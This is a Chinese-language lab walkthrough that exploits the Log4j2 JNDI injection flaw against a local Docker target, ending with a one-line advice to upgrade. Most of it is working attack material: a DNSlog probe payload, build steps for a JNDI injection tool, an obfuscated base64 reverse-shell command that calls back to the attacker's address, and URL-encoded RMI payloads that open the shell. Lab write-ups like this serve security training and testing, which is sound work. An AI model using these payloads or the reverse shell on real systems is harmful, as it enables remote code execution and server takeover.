目录
Apache log4j 2是一个用Java写的日志记录工具。通过重写了log4j框架,并且引入了大量丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。log4j2中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码。
2.0 <= Apache Log4j2 <= 2.14.1
本机kali的ip是192.168.120.129
CEYE注册的DNSlog网站为z30z4j.ceye.io
搭建的方法有很多,这里我们直接利用docker本地搭建
docker pull vulfocus/log4j2-rce-2021-12-09
下载完成之后启动靶场
docker run -d -p 8080:8080 vulfocus/log4j2-rce-2021-12-09
访问网站
搭建成功
先检验漏洞是否存在,先准备一个DNSlog网站,用于查看日志
日志记录已经是清空的状态,接着我们构造payload
- #格式为
- ${jndi:ldap://xxxxxx/x}
- payload=${jndi:ldap://z30z4j.ceye.io/x}
- URL编码后为
- payload=%24%7bjndi%3aldap%3a%2f%2fz30z4j.ceye.io%2fx%7d
查看到日志有回显,说明存在漏洞,接着我们开始利用,先准备好JNDI注入工具
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
安装教程:
- git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
-
- cd JNDI-Injection-Exploit
-
- mvn clean package -DskipTests
接着构造反弹shell,访问https://www.bugku.net/runtime-exec-payloads/
根据格式,构造我们的反弹shell命令,复制生成的命令
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyMC4xMjkvODg4OCAwPiYx}|{base64,-d}|{bash,-i}
接着利用刚才准备的工具,生成EXP
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyMC4xMjkvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.120.129
生成了五个payload,根据需求选择一个,这里我们选择第无个,并复制
rmi://192.168.120.129:1099/kknwvb
监听刚才反弹shell的端口8888
构建payload
- payload=${jndi:rmi://192.168.120.129:1099/kknwvb}
- URL编码后
- payload=%24%7bjndi%3armi%3a%2f%2f192.168.120.129%3a1099%2fkknwvb%7d
反弹shell成功!!!
升级Apache Log4j至最新版